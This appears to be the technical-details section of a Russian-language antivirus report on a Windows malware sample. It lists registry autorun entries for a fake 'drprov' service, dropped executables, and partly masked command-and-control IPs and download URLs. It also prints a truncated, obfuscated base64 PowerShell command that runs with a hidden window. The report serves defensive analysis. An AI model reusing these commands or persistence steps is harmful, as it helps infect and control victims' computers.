Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\drprov] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\drprov] 'ImagePath' = '"<SYSTEM32>\themecpl\drprov.exe"'
- 'drprov' "<SYSTEM32>\themecpl\drprov.exe"
- 'drprov' <SYSTEM32>\themecpl\drprov.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGIAcwBjAGMAMQAwAD0AKAAoACcAWQA0ACcAKwAnAHUAZgAnACkAKwAoACcAcAAnACsAJwB4AGYAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AHQAZQBNAFAAXABXAE8AcgBkAFwAMgAwAD...
- %TEMP%\word\2019\glkt07c9.exe
- <SYSTEM32>\themecpl\drprov.exe
- %TEMP%\word\2019\glkt07c9.exe в <SYSTEM32>\themecpl\drprov.exe
- '82.##9.200.118':80
- '18#.#1.158.15':8080
- '51.##5.15.193':7080
- http://mi###oors.md/backup/hFiCHxXv/
- http://51.###.15.193:7080/oXXh7cVa/RrHGz3cg8omM4l17/n9haHk3s/oerM/ygS7j/ via 51.##5.15.193
- DNS ASK mi###oors.md
- '%TEMP%\word\2019\glkt07c9.exe'
- '<SYSTEM32>\themecpl\drprov.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGIAcwBjAGMAMQAwAD0AKAAoACcAWQA0ACcAKwAnAHUAZgAnACkAKwAoACcAcAAnACsAJwB4AGYAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AHQAZQBNAFAAXABXAE8AcgBkAFwAMgAwAD...' (со скрытым окном)